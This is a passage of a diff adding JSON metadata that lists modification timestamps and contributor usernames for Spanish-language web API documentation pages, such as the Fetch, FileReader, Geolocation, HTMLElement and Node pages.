+      "Chacho"
+    ]
+  },
+  "Web/API/EventTarget/dispatchEvent": {
+    "modified": "2020-05-25T14:53:28.357Z",
+    "contributors": [
+      "OneLoneFox",
+      "SphinxKnight",
+      "fscholz",
+      "jsx",
+      "teoli",
+      "Mgjbot",
+      "HenryGR"
+    ]
+  },
+  "Web/API/EventTarget/removeEventListener": {
+    "modified": "2020-10-15T21:33:28.829Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "everblut",
+      "cmadrono"
+    ]
+  },
+  "Web/API/FetchEvent": {
+    "modified": "2020-11-15T12:19:50.961Z",
+    "contributors": [
+      "kuntur-studio",
+      "pavilion",
+      "fasalgad"
+    ]
+  },
+  "Web/API/Fetch_API": {
+    "modified": "2020-10-15T21:38:02.526Z",
+    "contributors": [
+      "PacoVela",
+      "SSantiago90",
+      "erpheus",
+      "AlePerez92",
+      "robermorales",
+      "jmcarnero",
+      "enlinea777"
+    ]
+  },
+  "Web/API/Fetch_API/Conceptos_basicos": {
+    "modified": "2019-03-18T21:24:00.327Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/API/Fetch_API/Utilizando_Fetch": {
+    "modified": "2020-10-15T21:51:23.613Z",
+    "contributors": [
+      "arturojimenezmedia",
+      "camsa",
+      "jccuevas",
+      "MateoVelilla",
+      "crimoniv",
+      "danielM9521",
+      "SphinxKnight",
+      "Ruluk",
+      "jpuerto",
+      "baumannzone",
+      "anjerago",
+      "icedrek",
+      "royexr",
+      "AlePerez92"
+    ]
+  },
+  "Web/API/File": {
+    "modified": "2020-10-15T21:37:53.420Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "mattkgross",
+      "AshWilliams"
+    ]
+  },
+  "Web/API/File/Using_files_from_web_applications": {
+    "modified": "2019-03-24T00:06:11.527Z",
+    "contributors": [
+      "chrisdavidmills",
+      "israelfl",
+      "pacommozilla",
+      "teoli",
+      "mare",
+      "Izel"
+    ]
+  },
+  "Web/API/File/fileName": {
+    "modified": "2020-02-09T09:40:59.258Z",
+    "contributors": [
+      "blanchart",
+      "IsraelFloresDGA",
+      "BrodaNoel"
+    ]
+  },
+  "Web/API/File/lastModifiedDate": {
+    "modified": "2019-03-23T22:06:34.338Z",
+    "contributors": [
+      "BrodaNoel"
+    ]
+  },
+  "Web/API/File/name": {
+    "modified": "2020-10-15T21:56:43.088Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "BrodaNoel"
+    ]
+  },
+  "Web/API/File/type": {
+    "modified": "2020-10-15T22:26:46.640Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/API/File/webkitRelativePath": {
+    "modified": "2019-03-23T22:06:35.128Z",
+    "contributors": [
+      "BrodaNoel"
+    ]
+  },
+  "Web/API/FileError": {
+    "modified": "2019-03-23T22:51:12.244Z",
+    "contributors": [
+      "Jarvanux"
+    ]
+  },
+  "Web/API/FileReader": {
+    "modified": "2019-03-23T23:04:14.656Z",
+    "contributors": [
+      "JuanjoVlado",
+      "V.Morantes",
+      "israelfl",
+      "Carlos-T",
+      "Clunaenc",
+      "fscholz",
+      "cm_rocanroll"
+    ]
+  },
+  "Web/API/FileReader/onload": {
+    "modified": "2019-03-23T22:18:25.451Z",
+    "contributors": [
+      "DaniMartiRamirez"
+    ]
+  },
+  "Web/API/FileReader/readAsArrayBuffer": {
+    "modified": "2019-03-23T22:49:37.062Z",
+    "contributors": [
+      "MarcoZepeda"
+    ]
+  },
+  "Web/API/FileReader/readAsDataURL": {
+    "modified": "2019-03-23T22:48:53.339Z",
+    "contributors": [
+      "teoli",
+      "empirreamm",
+      "developersoul"
+    ]
+  },
+  "Web/API/FileReader/readAsText": {
+    "modified": "2019-03-23T22:11:54.836Z",
+    "contributors": [
+      "owaremx"
+    ]
+  },
+  "Web/API/FileReader/result": {
+    "modified": "2020-10-15T22:16:53.945Z",
+    "contributors": [
+      "carlosbulnes"
+    ]
+  },
+  "Web/API/FileSystem": {
+    "modified": "2019-07-04T14:31:32.136Z",
+    "contributors": [
+      "lperezp",
+      "jpmontoya182"
+    ]
+  },
+  "Web/API/Fullscreen_API": {
+    "modified": "2019-03-23T22:19:43.566Z",
+    "contributors": [
+      "wbamberg",
+      "israel-munoz"
+    ]
+  },
+  "Web/API/GamepadButton": {
+    "modified": "2020-10-15T22:31:36.770Z",
+    "contributors": [
+      "kenliten"
+    ]
+  },
+  "Web/API/Gamepad_API": {
+    "modified": "2020-10-15T22:24:50.048Z",
+    "contributors": [
+      "LeonEmil"
+    ]
+  },
+  "Web/API/Geolocation": {
+    "modified": "2019-03-23T23:21:41.383Z",
+    "contributors": [
+      "AlePerez92",
+      "fscholz",
+      "AJMG"
+    ]
+  },
+  "Web/API/Geolocation/clearWatch": {
+    "modified": "2019-03-23T23:21:31.757Z",
+    "contributors": [
+      "franklevel",
+      "fscholz",
+      "AJMG"
+    ]
+  },
+  "Web/API/Geolocation/getCurrentPosition": {
+    "modified": "2019-03-23T23:21:46.266Z",
+    "contributors": [
+      "AlePerez92",
+      "fscholz",
+      "lupomontero",
+      "AJMG"
+    ]
+  },
+  "Web/API/Geolocation/watchPosition": {
+    "modified": "2019-03-23T23:21:44.720Z",
+    "contributors": [
+      "AlePerez92",
+      "fscholz",
+      "AJMG"
+    ]
+  },
+  "Web/API/GeolocationCoordinates": {
+    "modified": "2019-12-10T09:34:21.214Z",
+    "contributors": [
+      "chrisdavidmills",
+      "AlePerez92"
+    ]
+  },
+  "Web/API/GeolocationCoordinates/latitude": {
+    "modified": "2019-12-10T09:34:21.409Z",
+    "contributors": [
+      "chrisdavidmills",
+      "elxris"
+    ]
+  },
+  "Web/API/GeolocationPosition": {
+    "modified": "2020-10-15T22:10:48.604Z",
+    "contributors": [
+      "chrisdavidmills",
+      "sergitxu"
+    ]
+  },
+  "Web/API/GlobalEventHandlers": {
+    "modified": "2020-10-15T21:33:09.443Z",
+    "contributors": [
+      "Nachec",
+      "fscholz"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onblur": {
+    "modified": "2019-03-23T22:33:17.308Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onchange": {
+    "modified": "2019-03-23T22:18:11.571Z",
+    "contributors": [
+      "gama"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onclick": {
+    "modified": "2019-08-28T11:37:06.287Z",
+    "contributors": [
+      "J-Lobo",
+      "Noreen",
+      "gama"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onclose": {
+    "modified": "2020-10-15T22:12:16.407Z",
+    "contributors": [
+      "alexisrazok"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onerror": {
+    "modified": "2019-03-23T22:53:42.268Z",
+    "contributors": [
+      "wbamberg",
+      "galegosimpatico"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onfocus": {
+    "modified": "2019-03-18T21:31:41.059Z",
+    "contributors": [
+      "ANDRUS74"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/oninput": {
+    "modified": "2019-03-23T22:55:01.733Z",
+    "contributors": [
+      "Diegosolo"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onkeydown": {
+    "modified": "2019-03-18T21:31:44.954Z",
+    "contributors": [
+      "ANDRUS74"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onkeyup": {
+    "modified": "2019-03-18T21:31:50.304Z",
+    "contributors": [
+      "ANDRUS74"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onload": {
+    "modified": "2019-03-23T23:33:14.527Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "ehecatl"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onloadedmetadata": {
+    "modified": "2020-10-15T22:34:40.071Z",
+    "contributors": [
+      "winxde"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onresize": {
+    "modified": "2019-03-23T22:38:35.801Z",
+    "contributors": [
+      "NevinSantana"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onscroll": {
+    "modified": "2019-03-23T22:33:14.134Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onselect": {
+    "modified": "2019-03-23T22:33:14.413Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onselectstart": {
+    "modified": "2019-03-18T21:23:16.974Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onsubmit": {
+    "modified": "2019-03-18T21:31:41.533Z",
+    "contributors": [
+      "ANDRUS74"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/ontouchstart": {
+    "modified": "2019-03-23T22:32:02.059Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/GlobalEventHandlers/onunload": {
+    "modified": "2019-03-23T23:39:28.498Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "Sheppy"
+    ]
+  },
+  "Web/API/HTMLAnchorElement": {
+    "modified": "2019-03-18T21:42:27.257Z",
+    "contributors": [
+      "BubuAnabelas",
+      "LUISTGMDN"
+    ]
+  },
+  "Web/API/HTMLAudioElement": {
+    "modified": "2019-03-24T00:05:48.645Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz",
+      "teoli",
+      "inma_610"
+    ]
+  },
+  "Web/API/HTMLCanvasElement": {
+    "modified": "2019-03-23T22:50:27.840Z",
+    "contributors": [
+      "AshWilliams"
+    ]
+  },
+  "Web/API/HTMLCanvasElement/getContext": {
+    "modified": "2019-03-23T22:18:36.564Z",
+    "contributors": [
+      "OrlandoIsay"
+    ]
+  },
+  "Web/API/HTMLCanvasElement/height": {
+    "modified": "2019-03-23T22:47:48.394Z",
+    "contributors": [
+      "empirreamm"
+    ]
+  },
+  "Web/API/HTMLCanvasElement/toBlob": {
+    "modified": "2019-03-23T22:44:55.955Z",
+    "contributors": [
+      "kodamirmo"
+    ]
+  },
+  "Web/API/HTMLCanvasElement/toDataURL": {
+    "modified": "2020-10-15T21:38:42.950Z",
+    "contributors": [
+      "jagomf",
+      "calmsz",
+      "genuinefafa",
+      "empirreamm"
+    ]
+  },
+  "Web/API/HTMLCanvasElement/width": {
+    "modified": "2019-03-23T22:47:52.236Z",
+    "contributors": [
+      "empirreamm"
+    ]
+  },
+  "Web/API/HTMLCollection": {
+    "modified": "2020-10-15T21:37:48.821Z",
+    "contributors": [
+      "AlePerez92",
+      "diego_bardelas",
+      "kromsoft",
+      "djrm"
+    ]
+  },
+  "Web/API/HTMLContentElement": {
+    "modified": "2019-03-23T22:10:28.345Z",
+    "contributors": [
+      "dkocho4"
+    ]
+  },
+  "Web/API/HTMLContentElement/getDistributedNodes": {
+    "modified": "2019-03-23T22:10:26.488Z",
+    "contributors": [
+      "dkocho4"
+    ]
+  },
+  "Web/API/HTMLContentElement/select": {
+    "modified": "2019-03-23T22:10:36.116Z",
+    "contributors": [
+      "dkocho4"
+    ]
+  },
+  "Web/API/HTMLDivElement": {
+    "modified": "2019-03-23T22:03:41.348Z",
+    "contributors": [
+      "jonvadillo"
+    ]
+  },
+  "Web/API/HTMLElement": {
+    "modified": "2020-06-20T19:45:51.700Z",
+    "contributors": [
+      "hernandoh",
+      "hpintos",
+      "fscholz"
+    ]
+  },
+  "Web/API/HTMLElement/change_event": {
+    "modified": "2020-10-15T22:17:42.425Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "AlePerez92"
+    ]
+  },
+  "Web/API/HTMLElement/click": {
+    "modified": "2020-10-15T21:59:51.355Z",
+    "contributors": [
+      "hecaxmmx",
+      "mtnalonso"
+    ]
+  },
+  "Web/API/HTMLElement/contentEditable": {
+    "modified": "2020-10-15T22:23:54.889Z",
+    "contributors": [
+      "lauramacdaleno"
+    ]
+  },
+  "Web/API/HTMLElement/dataset": {
+    "modified": "2020-10-15T22:06:35.887Z",
+    "contributors": [
+      "OneLoneFox",
+      "PacoVela",
+      "ultraklon",
+      "pipepico",
+      "AlePerez92"
+    ]
+  },
+  "Web/API/HTMLElement/focus": {
+    "modified": "2020-10-15T21:51:27.517Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "AlePerez92",
+      "jesumv"
+    ]
+  },
+  "Web/API/HTMLElement/innerText": {
+    "modified": "2020-10-15T22:31:46.481Z",
+    "contributors": [
+      "hugojavierduran9"
+    ]
+  },
+  "Web/API/HTMLElement/input_event": {
+    "modified": "2020-10-15T22:17:41.989Z",
+    "contributors": [
+      "mariomoreno",
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/API/HTMLElement/offsetHeight": {
+    "modified": "2019-04-30T12:33:07.062Z",
+    "contributors": [
+      "AlePerez92",
+      "SphinxKnight",
+      "germanfr"
+    ]
+  },
+  "Web/API/HTMLElement/offsetLeft": {
+    "modified": "2019-03-18T20:59:09.140Z",
+    "contributors": [
+      "SphinxKnight",
+      "gama"
+    ]
+  },
+  "Web/API/HTMLElement/offsetParent": {
+    "modified": "2020-10-15T22:11:55.510Z",
+    "contributors": [
+      "Vincetroid"
+    ]
+  },
+  "Web/API/HTMLElement/offsetTop": {
+    "modified": "2020-10-15T21:46:16.171Z",
+    "contributors": [
+      "SphinxKnight",
+      "santinogue",
+      "Grijander81"
+    ]
+  },
+  "Web/API/HTMLElement/offsetWidth": {
+    "modified": "2020-10-15T21:50:38.562Z",
+    "contributors": [
+      "SphinxKnight",
+      "Facu50196",
+      "jvas28"
+    ]
+  },
+  "Web/API/HTMLElement/style": {
+    "modified": "2019-03-23T23:58:09.934Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/HTMLFormElement": {
+    "modified": "2019-03-23T23:46:38.218Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "DR",
+      "Nathymig"
+    ]
+  },
+  "Web/API/HTMLFormElement/reset": {
+    "modified": "2020-11-28T13:27:49.559Z",
+    "contributors": [
+      "hiperion"
+    ]
+  },
+  "Web/API/HTMLHeadElement": {
+    "modified": "2020-10-15T22:31:07.133Z",
+    "contributors": [
+      "jhonarielgj"
+    ]
+  },
+  "Web/API/HTMLHtmlElement": {
+    "modified": "2019-03-23T22:27:47.579Z",
+    "contributors": [
+      "raecillacastellana"
+    ]
+  },
+  "Web/API/HTMLImageElement": {
+    "modified": "2019-03-23T22:42:00.195Z",
+    "contributors": [
+      "thzunder"
+    ]
+  },
+  "Web/API/HTMLImageElement/Image": {
+    "modified": "2019-03-23T22:12:14.962Z",
+    "contributors": [
+      "gabo32",
+      "Jhandrox"
+    ]
+  },
+  "Web/API/HTMLInputElement": {
+    "modified": "2020-08-25T19:55:45.034Z",
+    "contributors": [
+      "duduindo",
+      "Enesimus",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/HTMLInputElement/invalid_event": {
+    "modified": "2019-04-30T13:47:32.409Z",
+    "contributors": [
+      "wbamberg",
+      "estelle",
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/API/HTMLInputElement/select": {
+    "modified": "2019-03-18T21:34:04.996Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/HTMLLIElement": {
+    "modified": "2019-03-23T22:21:38.998Z",
+    "contributors": [
+      "elxris",
+      "bardcrack"
+    ]
+  },
+  "Web/API/HTMLLabelElement": {
+    "modified": "2020-10-15T22:11:47.827Z",
+    "contributors": [
+      "BubuAnabelas",
+      "mym2013"
+    ]
+  },
+  "Web/API/HTMLMediaElement": {
+    "modified": "2020-10-15T22:13:56.798Z",
+    "contributors": [
+      "mannypinillo"
+    ]
+  },
+  "Web/API/HTMLMediaElement/canplay_event": {
+    "modified": "2019-03-18T20:49:26.430Z",
+    "contributors": [
+      "estelle",
+      "ExE-Boss",
+      "fscholz",
+      "jjoselon"
+    ]
+  },
+  "Web/API/HTMLMediaElement/loadeddata_event": {
+    "modified": "2020-10-15T22:25:54.605Z",
+    "contributors": [
+      "NEVITS"
+    ]
+  },
+  "Web/API/HTMLMediaElement/pause": {
+    "modified": "2020-10-15T22:24:10.390Z",
+    "contributors": [
+      "chekoNava"
+    ]
+  },
+  "Web/API/HTMLMediaElement/paused": {
+    "modified": "2020-10-15T22:24:09.151Z",
+    "contributors": [
+      "chekoNava"
+    ]
+  },
+  "Web/API/HTMLMediaElement/play": {
+    "modified": "2020-10-15T22:24:04.866Z",
+    "contributors": [
+      "chekoNava"
+    ]
+  },
+  "Web/API/HTMLMediaElement/timeupdate_event": {
+    "modified": "2019-03-18T20:49:28.173Z",
+    "contributors": [
+      "estelle",
+      "ExE-Boss",
+      "fscholz",
+      "baldore"
+    ]
+  },
+  "Web/API/HTMLSelectElement": {
+    "modified": "2020-10-15T22:06:34.378Z",
+    "contributors": [
+      "wbamberg"
+    ]
+  },
+  "Web/API/HTMLSelectElement/checkValidity": {
+    "modified": "2020-10-15T22:06:33.300Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/HTMLSelectElement/setCustomValidity": {
+    "modified": "2020-10-15T22:21:29.656Z",
+    "contributors": [
+      "raul-arias"
+    ]
+  },
+  "Web/API/HTMLShadowElement": {
+    "modified": "2019-03-23T22:10:24.059Z",
+    "contributors": [
+      "dkocho4",
+      "Sebastianz"
+    ]
+  },
+  "Web/API/HTMLShadowElement/getDistributedNodes": {
+    "modified": "2019-03-23T22:10:23.317Z",
+    "contributors": [
+      "dkocho4"
+    ]
+  },
+  "Web/API/HTMLStyleElement": {
+    "modified": "2019-03-24T00:07:06.618Z",
+    "contributors": [
+      "fscholz",
+      "lcamacho",
+      "DoctorRomi",
+      "HenryGR",
+      "Markens",
+      "Nathymig"
+    ]
+  },
+  "Web/API/HTMLTableElement": {
+    "modified": "2019-03-23T23:46:43.890Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "ethertank",
+      "DR",
+      "M3n3chm0",
+      "Nathymig"
+    ]
+  },
+  "Web/API/HTMLTableElement/align": {
+    "modified": "2019-03-23T22:32:48.061Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/HTMLTableElement/insertRow": {
+    "modified": "2019-03-23T22:32:47.103Z",
+    "contributors": [
+      "lalo",
+      "Grijander81"
+    ]
+  },
+  "Web/API/Headers": {
+    "modified": "2020-10-15T22:07:38.324Z",
+    "contributors": [
+      "Estebanrg21"
+    ]
+  },
+  "Web/API/History": {
+    "modified": "2020-10-15T22:28:24.964Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/History/length": {
+    "modified": "2020-10-15T22:34:59.646Z",
+    "contributors": [
+      "cajotafer"
+    ]
+  },
+  "Web/API/History/pushState": {
+    "modified": "2020-10-15T22:28:26.373Z",
+    "contributors": [
+      "cajotafer",
+      "arcaela"
+    ]
+  },
+  "Web/API/IDBCursor": {
+    "modified": "2019-09-04T06:41:50.466Z",
+    "contributors": [
+      "jambsik",
+      "fscholz",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/IDBCursor/continue": {
+    "modified": "2019-03-23T22:40:02.950Z",
+    "contributors": [
+      "BubuAnabelas",
+      "Alfalfa01"
+    ]
+  },
+  "Web/API/IDBDatabase": {
+    "modified": "2019-03-23T22:23:43.090Z",
+    "contributors": [
+      "jpmedley"
+    ]
+  },
+  "Web/API/IDBDatabase/transaction": {
+    "modified": "2019-03-23T22:23:53.480Z",
+    "contributors": [
+      "carlo.romero1991"
+    ]
+  },
+  "Web/API/IDBObjectStore": {
+    "modified": "2019-03-23T23:01:30.975Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/IDBObjectStore/add": {
+    "modified": "2019-03-23T23:05:57.547Z",
+    "contributors": [
+      "fscholz",
+      "AngelFQC"
+    ]
+  },
+  "Web/API/ImageBitmap": {
+    "modified": "2020-10-15T22:03:23.639Z",
+    "contributors": [
+      "necrobite"
+    ]
+  },
+  "Web/API/ImageBitmapRenderingContext": {
+    "modified": "2020-10-15T22:03:23.985Z",
+    "contributors": [
+      "teoli",
+      "necrobite"
+    ]
+  },
+  "Web/API/IndexedDB_API": {
+    "modified": "2020-01-13T04:48:11.727Z",
+    "contributors": [
+      "chrisdavidmills",
+      "thepianist2",
+      "GranRafa",
+      "semptrion",
+      "Fjaguero",
+      "MPoli"
+    ]
+  },
+  "Web/API/IndexedDB_API/Conceptos_Basicos_Detras_De_IndexedDB": {
+    "modified": "2020-01-13T04:48:11.759Z",
+    "contributors": [
+      "chrisdavidmills",
+      "fscholz",
+      "elin3t",
+      "sebasmagri"
+    ]
+  },
+  "Web/API/IndexedDB_API/Usando_IndexedDB": {
+    "modified": "2020-01-13T04:48:12.209Z",
+    "contributors": [
+      "chrisdavidmills",
+      "gama",
+      "Pcost8300",
+      "franvalmo",
+      "frank-orellana",
+      "otif11",
+      "urbanogb",
+      "AlePerez92",
+      "beatriz-merino",
+      "matajm",
+      "elin3t",
+      "maparrar"
+    ]
+  },
+  "Web/API/Intersection_Observer_API": {
+    "modified": "2020-11-03T00:26:14.370Z",
+    "contributors": [
+      "juanfelipejg",
+      "kuntur-studio",
+      "maketas",
+      "sandromedina",
+      "lacf95",
+      "midudev",
+      "joanvasa",
+      "AshWilliams"
+    ]
+  },
+  "Web/API/KeyboardEvent": {
+    "modified": "2019-03-18T21:08:57.551Z",
+    "contributors": [
+      "fscholz",
+      "pdro-enrique",
+      "wbamberg",
+      "pablodonoso"
+    ]
+  },
+  "Web/API/KeyboardEvent/getModifierState": {
+    "modified": "2020-10-15T22:04:42.428Z",
+    "contributors": [
+      "leoderja"
+    ]
+  },
+  "Web/API/KeyboardEvent/key": {
+    "modified": "2020-10-15T22:10:09.653Z",
+    "contributors": [
+      "isaacanet",
+      "aleju92"
+    ]
+  },
+  "Web/API/KeyboardEvent/metaKey": {
+    "modified": "2019-03-23T22:47:47.329Z",
+    "contributors": [
+      "empirreamm"
+    ]
+  },
+  "Web/API/KeyboardEvent/which": {
+    "modified": "2019-03-23T23:25:30.040Z",
+    "contributors": [
+      "fscholz",
+      "jsx",
+      "arthusu"
+    ]
+  },
+  "Web/API/Location": {
+    "modified": "2020-03-11T08:46:40.807Z",
+    "contributors": [
+      "nverino",
+      "BrodaNoel"
+    ]
+  },
+  "Web/API/Location/origin": {
+    "modified": "2020-11-17T12:52:42.607Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/Location/reload": {
+    "modified": "2020-10-30T03:50:17.206Z",
+    "contributors": [
+      "SphinxKnight",
+      "MiguelHG2351",
+      "PatoDeTuring"
+    ]
+  },
+  "Web/API/MediaDevices": {
+    "modified": "2019-03-23T22:36:21.378Z",
+    "contributors": [
+      "Sebastianz"
+    ]
+  },
+  "Web/API/MediaDevices/getUserMedia": {
+    "modified": "2019-03-23T22:36:21.202Z",
+    "contributors": [
+      "AdanPalacios",
+      "titosobabas",
+      "RSalgadoAtala",
+      "Cristhian",
+      "matajm"
+    ]
+  },
+  "Web/API/MediaQueryList": {
+    "modified": "2019-03-18T21:17:33.122Z",
+    "contributors": [
+      "BubuAnabelas",
+      "PatoDeTuring"
+    ]
+  },
+  "Web/API/MediaQueryList/addListener": {
+    "modified": "2019-03-18T21:16:20.430Z",
+    "contributors": [
+      "PatoDeTuring"
+    ]
+  },
+  "Web/API/MediaQueryList/matches": {
+    "modified": "2019-03-23T22:05:29.020Z",
+    "contributors": [
+      "PatoDeTuring"
+    ]
+  },
+  "Web/API/MediaQueryList/removeListener": {
+    "modified": "2019-03-23T22:05:31.060Z",
+    "contributors": [
+      "PatoDeTuring"
+    ]
+  },
+  "Web/API/MediaSource": {
+    "modified": "2019-03-23T22:38:20.191Z",
+    "contributors": [
+      "Lazaro"
+    ]
+  },
+  "Web/API/MediaStreamAudioSourceNode": {
+    "modified": "2019-03-18T20:35:52.439Z",
+    "contributors": [
+      "davidtorroija",
+      "AndresMendozaOrozco"
+    ]
+  },
+  "Web/API/MediaStreamTrack": {
+    "modified": "2019-03-23T23:10:18.897Z",
+    "contributors": [
+      "matajm",
+      "maedca"
+    ]
+  },
+  "Web/API/MessageEvent": {
+    "modified": "2019-03-18T21:44:05.386Z",
+    "contributors": [
+      "jpmontoya182"
+    ]
+  },
+  "Web/API/MimeType": {
+    "modified": "2019-03-18T21:36:36.016Z",
+    "contributors": [
+      "daniel.duarte"
+    ]
+  },
+  "Web/API/MouseEvent": {
+    "modified": "2019-03-23T23:01:32.904Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/MouseEvent/initMouseEvent": {
+    "modified": "2019-03-23T23:50:24.977Z",
+    "contributors": [
+      "SphinxKnight",
+      "vectorderivative",
+      "jorgecasar",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/MouseEvent/shiftKey": {
+    "modified": "2019-03-23T22:05:24.832Z",
+    "contributors": [
+      "evaferreira"
+    ]
+  },
+  "Web/API/MutationObserver": {
+    "modified": "2019-05-13T04:27:12.587Z",
+    "contributors": [
+      "mllambias",
+      "cesaruve",
+      "aeroxmotion",
+      "JordiCruells",
+      "alvaropinot"
+    ]
+  },
+  "Web/API/MutationObserver/MutationObserver": {
+    "modified": "2020-10-15T22:18:30.706Z",
+    "contributors": [
+      "mllambias"
+    ]
+  },
+  "Web/API/MutationObserver/observe": {
+    "modified": "2020-10-15T22:18:29.107Z",
+    "contributors": [
+      "mllambias"
+    ]
+  },
+  "Web/API/Navigator": {
+    "modified": "2019-03-23T23:20:36.282Z",
+    "contributors": [
+      "israel-munoz",
+      "khalid32",
+      "tpb"
+    ]
+  },
+  "Web/API/Navigator/doNotTrack": {
+    "modified": "2019-03-18T21:35:42.847Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/Navigator/getUserMedia": {
+    "modified": "2019-03-23T23:27:03.284Z",
+    "contributors": [
+      "Jib",
+      "AlePerez92",
+      "fscholz",
+      "cm_rocanroll",
+      "franverona",
+      "py_crash",
+      "maedca"
+    ]
+  },
+  "Web/API/Navigator/registerProtocolHandler": {
+    "modified": "2019-03-23T23:53:04.318Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "Nukeador",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers": {
+    "modified": "2019-03-23T22:06:43.969Z",
+    "contributors": [
+      "chrisdavidmills",
+      "AngelFQC"
+    ]
+  },
+  "Web/API/Navigator/vibrate": {
+    "modified": "2019-03-23T23:32:23.651Z",
+    "contributors": [
+      "fscholz",
+      "jsx",
+      "mmednik"
+    ]
+  },
+  "Web/API/NavigatorConcurrentHardware": {
+    "modified": "2020-10-15T22:25:58.692Z"
+  },
+  "Web/API/NavigatorConcurrentHardware/hardwareConcurrency": {
+    "modified": "2020-10-15T22:26:06.271Z",
+    "contributors": [
+      "Gnuxdar"
+    ]
+  },
+  "Web/API/NavigatorGeolocation": {
+    "modified": "2019-03-23T23:01:31.642Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/NavigatorGeolocation/geolocation": {
+    "modified": "2019-03-23T23:31:55.176Z",
+    "contributors": [
+      "jabarrioss",
+      "AlePerez92",
+      "fscholz",
+      "jsx",
+      "lfentanes"
+    ]
+  },
+  "Web/API/NavigatorLanguage": {
+    "modified": "2019-03-23T22:46:20.556Z",
+    "contributors": [
+      "teoli"
+    ]
+  },
+  "Web/API/NavigatorLanguage/language": {
+    "modified": "2019-03-23T22:46:24.341Z",
+    "contributors": [
+      "cesiztel",
+      "jesus9ias"
+    ]
+  },
+  "Web/API/NavigatorOnLine": {
+    "modified": "2019-03-23T22:07:33.991Z",
+    "contributors": [
+      "abbycar"
+    ]
+  },
+  "Web/API/NavigatorOnLine/Eventos_online_y_offline": {
+    "modified": "2019-01-16T15:46:38.836Z",
+    "contributors": [
+      "chrisdavidmills",
+      "Mgjbot",
+      "Nukeador",
+      "RickieesES",
+      "Unixcoder"
+    ]
+  },
+  "Web/API/NavigatorOnLine/onLine": {
+    "modified": "2019-03-23T22:07:34.200Z",
+    "contributors": [
+      "MarkelCuesta"
+    ]
+  },
+  "Web/API/Network_Information_API": {
+    "modified": "2020-11-17T00:17:37.419Z",
+    "contributors": [
+      "tobiasalbirosa"
+    ]
+  },
+  "Web/API/Node": {
+    "modified": "2019-05-06T01:19:55.862Z",
+    "contributors": [
+      "robinHurtado",
+      "fscholz"
+    ]
+  },
+  "Web/API/Node/appendChild": {
+    "modified": "2020-10-15T21:22:57.221Z",
+    "contributors": [
+      "AlePerez92",
+      "IsaacAaron",
+      "fscholz",
+      "jsx",
+      "AzulCz"
+    ]
+  },
+  "Web/API/Node/childNodes": {
+    "modified": "2020-10-15T22:02:15.961Z",
+    "contributors": [
+      "AlePerez92",
+      "presercomp"
+    ]
+  },
+  "Web/API/Node/cloneNode": {
+    "modified": "2020-10-15T21:49:33.676Z",
+    "contributors": [
+      "AlePerez92",
+      "jyorch2",
+      "fewrare"
+    ]
+  },
+  "Web/API/Node/contains": {
+    "modified": "2020-10-15T22:00:52.714Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/Node/elementoPadre": {
+    "modified": "2020-10-15T21:55:42.512Z",
+    "contributors": [
+      "AlePerez92",
+      "LRojas",
+      "tureey"
+    ]
+  },
+  "Web/API/Node/hasChildNodes": {
+    "modified": "2020-10-15T22:08:41.278Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/Node/insertarAntes": {
+    "modified": "2020-10-15T21:36:49.326Z",
+    "contributors": [
+      "AlePerez92",
+      "danvao",
+      "Sedoy",
+      "carpasse"
+    ]
+  },
